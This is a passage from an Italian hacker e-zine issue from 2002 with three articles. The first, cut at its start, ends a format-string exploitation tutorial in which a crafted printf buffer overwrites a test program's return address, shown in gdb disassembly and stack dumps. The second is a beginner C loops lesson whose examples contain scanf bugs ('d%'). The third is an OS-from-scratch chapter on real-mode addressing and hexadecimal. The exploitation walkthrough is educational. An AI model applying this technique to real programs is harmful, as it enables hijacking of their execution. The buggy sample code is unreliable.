| 0x8048521 <main+53>: jmp 0x8048618 <main+300> |
| 0x8048526 <main+58>: mov %esi,%esi |
| 0x8048528 <main+60>: mov 0xffffeff4(%ebp),%eax |
| 0x804852e <main+66>: mov %eax,%eax |
| 0x8048530 <main+68>: shl $0x3,%eax |
| 0x8048533 <main+71>: lea 0x7(%eax),%edx |
| 0x8048536 <main+74>: lea 0xffffeff8(%ebp),%eax |
| 0x804853c <main+80>: mov %eax,%eax |
| 0x804853e <main+82>: movb $0xbf,(%edx,%eax,1) |
| 0x8048542 <main+86>: mov 0xffffeff4(%ebp),%eax |
| 0x8048548 <main+92>: mov %eax,%eax |
| 0x804854a <main+94>: shl $0x3,%eax |
| 0x804854d <main+97>: lea 0x6(%eax),%edx |
| 0x8048550 <main+100>: lea 0xffffeff8(%ebp),%eax |
| 0x8048556 <main+106>: mov %eax,%eax |
| 0x8048558 <main+108>: movb $0xff,(%edx,%eax,1) |
| 0x804855c <main+112>: mov 0xffffeff4(%ebp),%eax |
| 0x8048562 <main+118>: mov %eax,%eax |
| 0x8048564 <main+120>: shl $0x3,%eax |
| 0x8048567 <main+123>: lea 0x5(%eax),%edx |
| 0x804856a <main+126>: lea 0xffffeff8(%ebp),%eax |
| 0x8048570 <main+132>: mov %eax,%eax |
| 0x8048572 <main+134>: movb $0xea,(%edx,%eax,1) |
| 0x8048576 <main+138>: mov 0xffffeff4(%ebp),%eax |
| 0x804857c <main+144>: mov %eax,%eax |
| 0x804857e <main+146>: shl $0x3,%eax |
| 0x8048581 <main+149>: lea 0x4(%eax),%ecx |
| 0x8048584 <main+152>: lea 0xffffeff8(%ebp),%eax |
| 0x804858a <main+158>: mov %eax,%edx |
| 0x804858c <main+160>: mov 0xffffeff4(%ebp),%al |
| 0x8048592 <main+166>: add $0x3c,%eax |
| 0x8048595 <main+169>: mov %al,(%ecx,%edx,1) |
| 0x8048598 <main+172>: mov 0xffffeff4(%ebp),%eax |
| 0x804859e <main+178>: mov %eax,%eax |
| 0x80485a0 <main+180>: shl $0x3,%eax |
| 0x80485a3 <main+183>: lea 0x3(%eax),%edx |
| 0x80485a6 <main+186>: lea 0xffffeff8(%ebp),%eax |
| 0x80485ac <main+192>: mov %eax,%eax |
| 0x80485ae <main+194>: movb $0xbf,(%edx,%eax,1) |
| 0x80485b2 <main+198>: mov 0xffffeff4(%ebp),%eax |
| 0x80485b8 <main+204>: mov %eax,%eax |
| 0x80485ba <main+206>: shl $0x3,%eax |
| 0x80485bd <main+209>: lea 0x2(%eax),%edx |
| 0x80485c0 <main+212>: lea 0xffffeff8(%ebp),%eax |
| 0x80485c6 <main+218>: mov %eax,%eax |
| 0x80485c8 <main+220>: movb $0xff,(%edx,%eax,1) |
| 0x80485cc <main+224>: mov 0xffffeff4(%ebp),%eax |
| 0x80485d2 <main+230>: mov %eax,%eax |
| 0x80485d4 <main+232>: shl $0x3,%eax |
| 0x80485d7 <main+235>: lea 0x1(%eax),%edx |
| 0x80485da <main+238>: lea 0xffffeff8(%ebp),%eax |
| 0x80485e0 <main+244>: mov %eax,%eax |
| 0x80485e2 <main+246>: movb $0xea,(%edx,%eax,1) |
| 0x80485e6 <main+250>: mov 0xffffeff4(%ebp),%eax |
| 0x80485ec <main+256>: mov %eax,%eax |
| 0x80485ee <main+258>: lea 0x0(,%eax,8),%ecx |
| 0x80485f5 <main+265>: lea 0xffffeff8(%ebp),%eax |
| 0x80485fb <main+271>: mov %eax,%edx |
| 0x80485fd <main+273>: mov 0xffffeff4(%ebp),%al |
| 0x8048603 <main+279>: add $0x3c,%eax |
| 0x8048606 <main+282>: mov %al,(%ecx,%edx,1) |
| 0x8048609 <main+285>: lea 0xffffeff4(%ebp),%eax |
| 0x804860f <main+291>: incl (%eax) |
| 0x8048611 <main+293>: jmp 0x8048518 <main+44> |
| 0x8048616 <main+298>: mov %esi,%esi |
| 0x8048618 <main+300>: movl $0x1,0xffffeff4(%ebp) |
| 0x8048622 <main+310>: mov %esi,%esi |
| 0x8048624 <main+312>: cmpl $0x7,0xffffeff4(%ebp) |
| 0x804862b <main+319>: jle 0x8048700 <main+532> |
| 0x8048631 <main+325>: sub $0x8,%esp |
| 0x8048634 <main+328>: push $0x8048798 |
| 0x8048639 <main+333>: lea 0xffffeff8(%ebp),%eax |
| 0x804863f <main+339>: push %eax |
| 0x8048640 <main+340>: call 0x80483c0 <strcat> |
| 0x8048645 <main+345>: add $0x10,%esp |
| 0x8048648 <main+348>: sub $0x8,%esp |
| 0x804864b <main+351>: push $0x80487a0 |
| 0x8048650 <main+356>: lea 0xffffeff8(%ebp),%eax |
| 0x8048656 <main+362>: push %eax |
| 0x8048657 <main+363>: call 0x80483c0 <strcat> |
| 0x804865c <main+368>: add $0x10,%esp |
| 0x804865f <main+371>: sub $0x8,%esp |
| 0x8048662 <main+374>: push $0x80487a8 |
| 0x8048667 <main+379>: lea 0xffffeff8(%ebp),%eax |
| 0x804866d <main+385>: push %eax |
| 0x804866e <main+386>: call 0x80483c0 <strcat> |
| 0x8048673 <main+391>: add $0x10,%esp |
| 0x8048676 <main+394>: sub $0x8,%esp |
| 0x8048679 <main+397>: push $0x80487b0 |
| 0x804867e <main+402>: lea 0xffffeff8(%ebp),%eax |
| 0x8048684 <main+408>: push %eax |
| 0x8048685 <main+409>: call 0x80483c0 <strcat> |
| 0x804868a <main+414>: add $0x10,%esp |
| 0x804868d <main+417>: sub $0x8,%esp |
| 0x8048690 <main+420>: push $0x80487b8 |
| 0x8048695 <main+425>: lea 0xffffeff8(%ebp),%eax |
| 0x804869b <main+431>: push %eax |
| 0x804869c <main+432>: call 0x80483c0 <strcat> |
| 0x80486a1 <main+437>: add $0x10,%esp |
| 0x80486a4 <main+440>: movl $0x0,0xffffeff4(%ebp) |
| |
| |
| >>> ecco la chiamata alla printf, passando il nostro buffer come |
| argomento |
| |
| 0x80486ae <main+450>: sub $0xc,%esp |
| 0x80486b1 <main+453>: lea 0xffffeff8(%ebp),%eax |
| 0x80486b7 <main+459>: push %eax |
| 0x80486b8 <main+460>: call 0x80483d0 <printf> |
| 0x80486bd <main+465>: add $0x10,%esp |
| |
| |
| >>> ecco l'istruzione i = 1; |
| |
| 0x80486c0 <main+468>: movl $0x1,0xffffeff4(%ebp) |
| |
| |
| >>> questa invece e' la chiamata alla seconda printf |
| |
| 0x80486ca <main+478>: sub $0xc,%esp |
| 0x80486cd <main+481>: push $0x80487ba |
| 0x80486d2 <main+486>: call 0x80483d0 <printf> |
| 0x80486d7 <main+491>: add $0x10,%esp |
| |
| |
| >>> terza chiamata alla printf, con scrittura del valore della |
| variabile i |
| |
| 0x80486da <main+494>: sub $0x8,%esp |
| 0x80486dd <main+497>: pushl 0xffffeff4(%ebp) |
| 0x80486e3 <main+503>: push $0x80487d5 |
| 0x80486e8 <main+508>: call 0x80483d0 <printf> |
| 0x80486ed <main+513>: add $0x10,%esp |
| |
| |
| >>> chiamata alla funzione exit e termine del programma |
| |
| 0x80486f0 <main+516>: sub $0xc,%esp |
| 0x80486f3 <main+519>: push $0x123 |
| 0x80486f8 <main+524>: call 0x8048400 <exit> |
| 0x80486fd <main+529>: lea 0x0(%esi),%esi |
| 0x8048700 <main+532>: sub $0x8,%esp |
| 0x8048703 <main+535>: push $0x8048794 |
| 0x8048708 <main+540>: lea 0xffffeff8(%ebp),%eax |
| 0x804870e <main+546>: push %eax |
| 0x804870f <main+547>: call 0x80483c0 <strcat> |
| 0x8048714 <main+552>: add $0x10,%esp |
| 0x8048717 <main+555>: lea 0xffffeff4(%ebp),%eax |
| 0x804871d <main+561>: incl (%eax) |
| 0x804871f <main+563>: jmp 0x8048624 <main+312> |
| End of assembler dump. |
| |
| |
| bene, adesso, lasciando a voi come semplice esercizio aritmetico il |
| capire perche' sono stati effettivamente usati certi valori nei |
| formattatori di output, andiamo a vedere, subito dopo l'esecuzione della |
| printf, come cambia il contenuto dello stack |
| |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿80487b8 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 0 |
| |
| bfffea3c |
| |
| |
| bfffea3d |
| bfffea3e |
| |
| |
| |
| |
| bfffea3f |
| 35 in printf.c |
| (gdb) x/20 $sp |
| 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea80 0x080487b8 |
| 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x080486d7 |
| 0xbfffea40: 0xbf000003 0x080487b8 0x000007e3 0x000006c4 |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000000 |
| 0xbfffea60: 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d |
| |
| |
| ATTENZIONE!!!! L'indirizzo di ritorno e' cambiato! il nuovo indirizzo di |
| ritorno e' 0x080486d7, che corrisponde (che combinazione, vero? ;) |
| all'indirizzo della istruzione immediatamente successiva alla SECONDA |
| chiamata della printf. In definitiva, l'effetto ottenuto sara' quello di |
| ritornare ad eseguire il main a partire dalla seconda printf ESCLUSA, |
| saltando quindi sia la scrittura della stringa "seconda parte; eccoci |
| qui"
sia anche l'istruzione i = 1; la variabile i, pertanto, manterra' |
| IL SUO VALORE PRECEDENTE, CIOE' ZERO! |
| |
| Per verificarlo, innanzitutto cancelliamo il breakpoint alla istruzione |
| printf in modo tale da permettere al task di non venire piu' interrotto |
| e poi facciamolo proseguire. |
| |
| |
| (gdb) delete 1 |
| (gdb) c |
| Continuing. |
| terza parte; i vale 0 |
| |
| Program exited with code 043. |
| |
| |
| NATURALMENTE!!! Ecco dimostrato quello che avevamo ipotizzato avrebbe |
| dovuto accadere. |
| |
| (gdb) q |
| # |
| |
| A questo punto possiamo a buon titolo sostenere che siamo in grado, |
| modulando opportunamente i valori all'interno di un buffer da passare |
| alla "innocente" |
| funzione printf, di far saltare l'esecuzione di un task all'indirizzo |
| che piu' |
| ci fa comodo, in qualunque punto esso sia. Una simile potenzialita' puo' |
| essere utilizzata non soltanto per i nostri "giochetti" ma anche per |
| cose ben piu' "serie" e pericolose... |
| |
| Nella prossima puntata vedremo l'efficacia di questo approccio, |
| inserendo del codice "malizioso" e facendolo eseguire al nostro ignaro |
| "ospitante"... in modo tale da capire in modo completo il principio di |
| funzionamento di buona parte dei programmi da "assalto" in |
| circolazione... |
| |
| |
| Ma prima di lasciarci ecco, per chi sia interessato, un simpatico |
| quesito: |
| |
| abbiamo appena visto il funzionamento del programma prova6 il quale, |
| lanciato in esecuzione, salta allegramente la seconda printf e nella |
| terza sostiene che la variabile vale 0 (poiche' non ha nemmeno eseguito |
| l'istruzione i = 1;). |
| |
| Tutto bene, quindi, ma... allora come si spiega questo comportamento? |
| |
| |
| # |
| # ./prova6 |
| <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿80487b8 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 0 |
| |
| |
| bfffea3c |
| |
| |
| |
| |
| bfffea3d |
| |
| bfffea3e |
| |
| |
| |
| |
| |
| |
| |
| bfffea3f |
| seconda parte; eccoci qui |
| terza parte; i vale 1 |
| # |
| # |
| |
| Naturalmente vi garantisco che il file eseguibile denominato "prova6" |
| non e' |
| cambiato... :) |
| |
| A chi provera' a dare una soluzione andra' il merito di avere |
| effettivamente capito come funzionano le cose... |
| |
| |
| a presto, |
| xyzzy |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 |
| C0RS0 Di C [PARTE QUARTA] [JEYoNE] 0x0F/0x23 |
+--------------------------------------------------------------------------+
| |
| RiASSUNT0 DELLA PUNTATA PRECEDENTE: |
| La volta scorsa abbiamo spiegato come è strutturato il costrutto IF, |
| il suo ramo opzionale ELSE ed il costrutto SWITCH. |
| Questa volta, come gia' avevo accennato la volta scorsa, andremo a |
| vedere come creare un programma simile a quello della volta scorsa |
| (quello che abbiamo visto per spiegare il costrutto switch, ricordate?) |
| con la differenza che ripropone la lista degli autori fino a quando non |
| saremo noi a dirgli di uscire. |
| Cominciamo a vedere questo, poi andremo a dare un'occhiata anche agli |
| altri due argomenti, il "while" e il "do-while". |
| Allora: |
| Come ricorderete il costrutto switch da la possibilita' di |
| scegliere tra diverse opzioni, abbiamo visto che il programma creato la |
| volta scorsa, se la selezione non era tra quelle indicate, usciva di |
| default. |
| Questo perche' non abbiamo usato il loop for INFINITO. |
| Mi spiego meglio, il loop for infinito non termina mai, a meno che gli |
| si dia l'istruzione break (abbiamo visto anche quella, ricordate?) |
| Ma andiamo avanti seguendo un criterio logico, e vediamo intanto |
| come si esegue un loop for infinito: |
| for(;;) printf("questo verra' stampato all'infinito\n"); |
| Non avendo indicato le condizioni di uscita,il for continua a stampare |
| |
| all'infinito l'istruzione printf, perche' la condizione e' sempre vera. |
| Gli unici due modi per terminare il loop sono: |
| 1) Spegnere il computer |
| 2) Inserire l'istruzione break |
| Vediamo come utilizzare al meglio il secondo modo,anche perche' |
| il primo risulterebbe un pochino scomodo: |
| for(;;) |
| { |
| scanf("%d", &jey); |
| if (jey==0) break; /* se jey vale 0 esce dal loop */ |
| } |
| In questo caso il blocco di istruzioni si ripete sempre all'infinito, |
| a meno che la variabile jey non abbia valore uguale a 0. |
| Capito questo dobbiamo andare a vedere come inserire il blocco dello |
| switch all'interno del for: |
| for(;;) |
| { |
| scanf("%d", jey); |
| switch(jey) /*usiamo jey per fare i confronti */ |
| { |
| case 1: |
| printf("\nHai scelto l'opzione numero 1"); |
| break; |
| case 2: |
| printf("\nHai scelto l'opzione numero 2"); |
| break; |
| } |
| if (jey==0) break; /*se jey vale 0 esce dal loop */ |
| } |
| Le cose messe giu' in questa maniera possono sembrare complicate, ma |
| l'importante e' mantenere le gerarchie dei blocchi del programma. |
| (le parentesi graffe aperte e chiuse in ogni blocco) |
| Vediamo ora il programma vero e proprio per eseguire una scelta come |
| quella della volta scorsa, con pero' la possibilita' di uscire soltanto |
| dando alla variabile lista il valore di 0 : |
| #include <stdio.h> |
| main() |
| { |
| int lista; |
| for(;;) /*questo e' il loop infinito, interrotto dal break*/ |
| { |
| printf("\nScegli un gruppo per sapere che musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| printf(" 0) Esci, non me ne frega niente della musica!!\n"); |
| scanf("d%", &lista); /*prendiamo il valore della variabile |
| |
| lista*/
|
| switch(lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock |
| |
| demenziale"
); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| case 0: |
| printf("\n Non ti interessa la musica? Beh, ciao!"); |
| default: |
| printf("Ma non leggi il menu'? Niente e' associato |
| a quel numero!"
); |
| } /* Qui termina il costrutto switch */ |
| if (lista==0) break; /* Quando lista vale 0 esce dal loop */ |
| } /* Qui termina il loop for */ |
| } /* E qui invece termina la funzione main() */ |
| E questo e' finito, facile no? |
| Bene, ora andiamo a vedere un'altra istruzione, sto parlando del while, |
| un'istruzione analoga al for perche' anch'essa serve per fare loop. |
| While in inglese significa "quando", questo significa che fino a |
| quando la condizione e' vera l'istruzione viene eseguita. |
| Vediamone la struttura con una sola istruzione: |
| while(jey <3 ) printf("JEYoNE e' bello :) "); |
| O con un blocco di istruzioni: |
| int jey=1; |
| while(jey <3) |
| { |
| printf("JEYoNE e' bello :) "); |
| jey++ /* aumentiamo il valore di jey di |
| 1 */
|
| } |
| Come avrete potuto notare, il while e' molto simile al for, ma e' un po' |
| piu complicato, in effetti per un loop e' meglio usare il for, ma il |
| while puo' essere utile in altri casi. |
| Per ora proviamo a usare il loop while per lo stesso programma che |
| abbiamo fatto prima. |
| Ricordiamoci di dare alla variabile lista un valore diverso da zero, |
| (lista=!0)per evitare di uscire senza eseguire il programma nemmeno una |
| volta. |
| #include <stdio.h> |
| main() |
| { |
| int lista=1; |
| while(lista!=0) /*Quando la variabile e' uguale a zero termina*/ |
| { |
| printf("\nScegli un gruppo per sapere che musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| printf(" 0) Esci, non me ne frega niente della musica!!\n"); |
| scanf("d%", &lista); /*prendiamo il valore della variabile |
| |
| lista*/
|
| switch(lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock |
| |
| demenziale"
); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| case 0: |
| printf("\n Non ti interessa la musica? Beh, ciao!"); |
| default: |
| printf("Ma non leggi il menu'? Niente e' associato |
| a quel numero!"
); |
| } /* Qui termina il costrutto switch */ |
| } /* Qui termina il loop while */ |
| } /* E qui invece termina la funzione main() */ |
| Come abbiamo visto anche per il for, possiamo fare un loop infinito |
| anche con il while, a condizione che la condizione sia diversa da 0. |
| L'u

  
nico modo per interrompere il loop, anche in questo caso, e' l'uso |
| del break. |
| Come abbiamo potuto vedere,sia il loop for che il loop while verificano |
| la condizione prima di fare tutto, facendo si che le istruzioni non |
| vengano eseguite se la condizione risultasse falsa. |
| Per fare in modo che le condizioni siano eseguite almeno una volta, |
| prima di interrompere, ci viene in aiuto il do, che la esegue prima di |
| far eseguire il controllo della condizione al loop. |
| Il do e' strutturato nel seguente modo: |
| do |
| { |
| istruzioni; |
| } |
| while(espressione); |
| Qui noi andiamo PRIMA ad eseguire le istruzioni, e POI controlliamo che |
| la condizione sia vera e ripetiamo le istruzioni. |
| Se la condizione e' falsa interrompiamo tutto. |
| Il loop do-while funziona cosi': |
| int jey=1; |
| do |
| { |
| printf("JEYoNE e' bello :) "); |
| jey++; |
| } |
| while(jey<5); |
| Questo loop stampa 4 volte la scritta JEYoNE e' bello :). |
| Ora vediamo come integrarlo nel nostro programmino, infatti serve il do |
| per stampare almeno una volta la lista delle scelte da fare, altrimenti |
| con che criterio eseguiamo la scelta del gruppo? :P |
| #include <stdio.h> |
| main() |
| { |
| int lista=1; |
| do /*Qui comincia il loop do-while*/ |
| { |
| printf("\nScegli un gruppo per sapere che musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| printf(" 0) Esci, non me ne frega niente della musica!!\n"); |
| scanf("d%", &lista); /*prendiamo il valore della variabile |
| |
| lista*/
|
| switch(lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock |
| |
| demenziale"
); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| case 0: |
| printf("\n Non ti interessa la musica? Beh, ciao!"); |
| default: |
| printf("Ma non leggi il menu'? Niente e' associato |
| a quel numero!"
); |
| } /* Qui termina il costrutto switch */ |
| } /* Qui termina il blocco do-while che viene */ |
| while(lista!=0); /* eseguito di nuovo se il valore e' diverso da 0*/ |
| } /* E qui invece termina la funzione main() */ |
| In certi casi sta meglio il while del for, in molti altri pero sta |
| meglio il do-while del while. |
| Si poteva fare tutto semplicemente con il loop for, ma rimaneva meno |
| "elegante". |
| Io vi ho illustrato tutti e tre i costrutti, deciderete voi quale |
| utilizzare per risparmiare tempo/lavoro. |
| Per questa volta ho finito, nel prossimo numero non so se sara' |
| presente il corso, perche' ultimamente sono molto molto impegnato. |
| Voi restate sintonizzati, e.... |
| ...al massimo leggete qualche altro articolo! :P |
| Ciao a tutti, speriamo di vederci nel prossimo numero! |
| JEYoNE |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 |
| 0S FR0M ZER0 CHAPTER 2 [Alexander The Great] 0x10/0x23 |
+--------------------------------------------------------------------------+
| |
| Salve! Scorcio i convenevoli e passo al sodo. Bisogna che innanzitutto |
| mi scusi per aver rivisto poco il primo capitolo. Nel bootstrap c'era un |
| piccolo errore (non grave), in corrispondenza della seguente sezione: |
| |
| CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalita' video |
| JNE SiamoGiaInModoTesto ; (se 0:449h contiene 3) |
| |
| In realta', siccome JNE sta per "Jump if Not Equal", il salto viene |
| effettuato se la locazione 0:449h NON contiene il valore 3. |
| La versione corretta sarebbe stata questa: |
| |
| CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalita' video |
| JE SiamoGiaInModoTesto ; (se 0:449h contiene 3) |
| |
| E allora? Cosa comporta per il risultato finale? Assolutamente niente. |
| Solo un piccolo sforzo inutile da parte della scheda video, volto ad |
| impostare un modalita' video che probabilmente e' gia' impostata al |
| momento del boot. La locazione 0:449h, anche scrivibile come 40h:49h, |
| infatti, contiene il codice OEM della modalita' video corrente. Ci sono |
| modalita' testuali e grafiche. Alcuni codici sono standard, altri no. |
| Tra quelli standard, la modalita' numero 3 e' quella che normalmente usa |
| il BIOS al momento del boot, e che poi il prompt del DOS eredita. Si |
| tratta della comunissima modalita' testo a 16 colori con 80 colonne e 25 |
| righe. Insomma, visto? M'e' riuscito di far passare l'errore come una |
| sorta di "domanda a trabocchetto"... peccato che fosse del tutto |
| involontario. |
| Poi devo fare le mie scuse anche per un'altra questione: avevo promesso |
| che avrei presentato un piccolo KERNEL in questo capitolo, ma mi sono |
| accorto che sarebbe piuttosto inutile se prima non spiegassi su quali |
| principi poggiano la CPU e le sue periferiche a basso livello. |
| Ho deciso quindi di rimandare tale esperimento, in favore di una piccola |
| ma esauriente panoramica sull'argomento "cosa c'e' dietro alle varie |
| operazioni che un S.O. svolge di continuo"
... "l'avventura" sara' |
| comunque lunga, ma vi garantisco che se continuate a seguire questa |
| serie di articoli, alla fine rimarranno ben pochi misteri all'interno |
| del PC. |
| |
| Un ultimo chiarimento prima di cominciare con una fiumana di |
| informazioni, per coloro che mi hanno chiesto da dove abbia preso |
| l'ispirazione. Be', la risposta e': in nessun posto. Le ho studiate nel |
| corso di svariati anni in cui ho analizzato (hackato, sminuzzato, |
| polverizzato) l'architettura dei PC passati e presenti. Quello che |
| scrivo in questi capitoli non segue dei testi di riferimento: che ci |
| crediate o no, a parte alcune tabelle, butto tutto giu' a memoria. |
| |
| Mah... |
| gia' che ci sono, colgo egoisticamente l'occasione per scrivere un breve |
| "background storico". Programmo in assembly dai tempi del Commodore 64, |
| di cui ricordo ancora gran parte della mappa della memoria (mai provato |
| a cambiare il colore dello sfondo dello schermo del C64 con una POKE |
| sulle locazioni 53280 e 53281?...), e conosco i PC dal 1988. Ho una sola |
| lacuna: informazioni sui protocolli di rete, quindi per queste cose |
| leggetevi il resto della rivista. Ammetto che, in effetti, sulla |
| "questione reti" sono "rimasto indietro", ed anche adesso non ho molta |
| voglia di occuparmente... |
| ammiro la rete per quello che e', ma non so come funziona ne', |
| stranamente, m'interessa saperlo. Probabilmente la considero, dal mio |
| punto di vista d'inguaribile retrogrado, "un accessorio non standard" in |
| cui si delineano troppe verita' temporanee e nessuna certezza. Forse e' |
| perche' inconsciamente collego la rete a Windows: dai tempi di Windows |
| mi sono volontariamente disinteressato a qualsiasi aspetto ad esso |
| strettamente collegato. Ma no, aspettate, mi sto sbagliando: non e' che |
| sia collegata a Windows, perche' in fin dei conti non lo e'... e' che |
| "non e' collegabile al DOS"... o meglio, mi sbaglio ancora, "non e' |
| stata collegata al DOS"
. Il DOS e' stato il mio territorio per molti |
| anni: piu' che una questione di vantaggi e svantaggi, quello che mi lega |
| all'ambiente DOS e' l'affetto. Oggi e' un sentimento un po' difficile da |
| capire, perche' sono relativamente pochissimi gli utenti che sono "nati |
| usando il DOS"
. E` naturale per tutti migrare verso sistemi multitasking |
| con interfacce a finestre molto piu' intuitive del vecchio prompt. Per |
| tutti, meno che per me. E pochi altri "vecchi guru". Premetto che ho un |
| personale odio verso il multitasking, in quanto causa di inutili |
| complicazioni, per come lo vedo io. Nonche' verso le finestre: |
| quest'ultimo e' un risentimento che ha dietro di se' una storiella |
| divertente, ma per non dilungarmi troppo parlando di me stesso, ve la |
| raccontero un'altra volta. |
| |
| Per coloro che considerano inevitabile il fatto che prima o poi dovro |
| adeguarmi, mi limito a dire che i miei sforzi attuali sono volti non ad |
| adeguare me stesso ai sistemi attuali, ma ad adeguare I SISTEMI ATTUALI |
| a me stesso. Vedete, anche se so come farlo, e malgrado la mia antipatia |
| nei confronti di Windows, io non cerco un nuovo sistema operativo. Io |
| non sono che un programmatore, e tutto quello che cerco e' il mio |
| ambiente di programmazione perfetto. Dopo circa sei anni dall'arrivo di |
| Windows95, la mia personale nemesi, la "catastrofe naturale" che ha |
| spazzato via il mio mondo, ho trovato la soluzione: ho distaccato il mio |
| ambiente dal sistema, l'ho "isolato", astratto nella maniera piu' |
| totale, creando uno stranissimo oggetto che in seguito ho rifinito e |
| chiamato L.IN.O.L.E.U.M. Insieme ad esso, sto piacevolmente rivivendo i |
| momenti in cui la gente capiva davvero come funzionavano le cose, in cui |
| i principianti erano fieri di quel che riuscivano a fare. E cosa piu' |
| importante, mi sento di nuovo a casa, libero d'ignorare e sputare in |
| faccia a quel maelstrom di finestrelle, iconcine e multitasking che |
| circonda la mia isola di semplice perfezione, sicuro che i programmi che |
| scrivo adesso gireranno per sempre, in barba a chiunque ami rimescolare |
| periodicamente le carte nel tentativo di rivendere la stessa vecchia |
| zuppa un'altra volta. Per molti di voi potra' essere un cumulo di |
| stupidaggini, quel che ho detto, ma a me non importa come viene |
| giudicato: a me interessa soltanto che sia un punto di riferimento |
| indistruttibile. E lo e'. Una sola cosa e' una realta' oggettiva, non |
| opinabile: mentre il DOS, Windows, Linux, BeOS, MacOS, AmigaOS... sono |
| tutti oggetti concreti che nascono e muoiono, L.IN.O.L.E.U.M. e' "un |
| fantasma"
, e come tale e' eterno. |
| |
| Be', devo dire che era necessario: non avreste capito molti aspetti dei |
| miei commenti, se non avessi scritto questa mia "biografia |
| monotematica"
, forse non avreste capito con che razza di individuo avete |
| a che fare ;) |
| |
| E ora che mi sento meglio, "confessato" direi; ora che mi conoscete |
| meglio, iniziamo finalmente la panoramica sulla struttura di un PC a |
| basso livello, che ci servira' per capire come funziona il KERNEL di un |
| sistema operativo. |
| |
| Ora, non e' mia intenzione scrivere tutto un intero tutorial |
| sull'assembly e sul funzionamento del PC in modalita' reale, perche' non |
| mi rimarrebbe il tempo di parlare dell'argomento vero e proprio, pero |
| almeno questo forse e' meglio spiegarlo: come funzionano gli indirizzi |
| di memoria in modalita' |
| reale. Premesso che tale modalita' fa schifo ed e' praticamente obsoleta |
| da almeno una decina d'anni a questa parte, e' tuttavia necessario |
| sapercisi orientare perche' i nostri beneamati processori di sesta |
| generazione, vedi per esempio il mio caro Athlon a 1GHz, ancora oggi |
| avviano il sistema in modalita' reale. E anche se fa schifo, non |
| disprezzatela: e' stata mantenuta per ragioni di compatibilita' con i |
| primi S.O. come il DOS ed il CP/M, che altrimenti non sarebbero in grado |
| di avviare la macchina se questa venisse fatta partire dal BIOS |
| direttamente in una delle varie modalita' a 32 bit. |
| Poi se me lo ricordero, spieghero anche cosa intendo per "varie |
| modalita'"
. |
| Ma veniamo agli indirizzi in modalita' reale. |
| Conviene sempre scrivere gli indirizzi in esadecimale. Molti si chiedono |
| perche', dato che a prima vista sembra un'inutile complicazione. E' |
| chiaro che non lo e', perche' solo alcuni sistemisti di cui non faccio i |
| nomi amano complicare le cose per il solo gusto di complicarle. Noi |
| siamo abituati a scrivere i numeri in base dieci, usando le cifre arabe |
| da zero a nove. |
| Be', l'esadecimale e' un modo per scrivere numeri in base sedici, e' un |
| po' come contare su sedici dita. E in esadecimale, esistono anche cifre |
| il cui valore nominale e' superiore a nove, un po' come nelle 52 carte |
| da poker abbiamo i valori 1 (asso), carte dal 2 al 10, e poi le figure |
| J, Q e K i cui rispettivi valori di scala sono "immaginabili" come 11, |
| 12 e 13. |
| In esadecimale le "cifre" superiori al 9 sono A, B, C, D, E ed F. |
| |
| Contare in esadecimale e' molto piu' semplice di quanto sembri: 0, 1, 2, |
| 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, 10, 11, 12, 13, 14, 15, 16, 17, |
| 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 21 eccetera... |
| |
| Da precisare che i numeri esadecimali scritti come 11, 12, 13, 14... NON |
| si leggono come "undici", "dodici" eccetera... ma bensi come "uno-uno", |
| "uno-due", "uno-tre"... questo perche' NON stiamo parlando di "decine", |
| di "centinaia" e di "migliaia". Infatti, se le unita' sono sempre le |
| unita', le decine qui si potrebbero chiamare "sedicine", e le centinaia |
| diventano "sedicine di sedicine" ovvero "duecentocinquantaseiine". Ma |
| ovviamente nessuno di questi termini viene usato: sono parole che non |
| esistono nel nostro vocabolario; le ho chiamate cosi per cercare di |
| rendere l'idea. |
| |
| Ora, quando io scrivo 449h, la piccola "h" che metto in fondo serve a |
| far capire al lettore che si tratta di un numero esadecimale. In C e |
| C++, naturalmente, qualche imbecille si e' inventato un nuovo modo per |
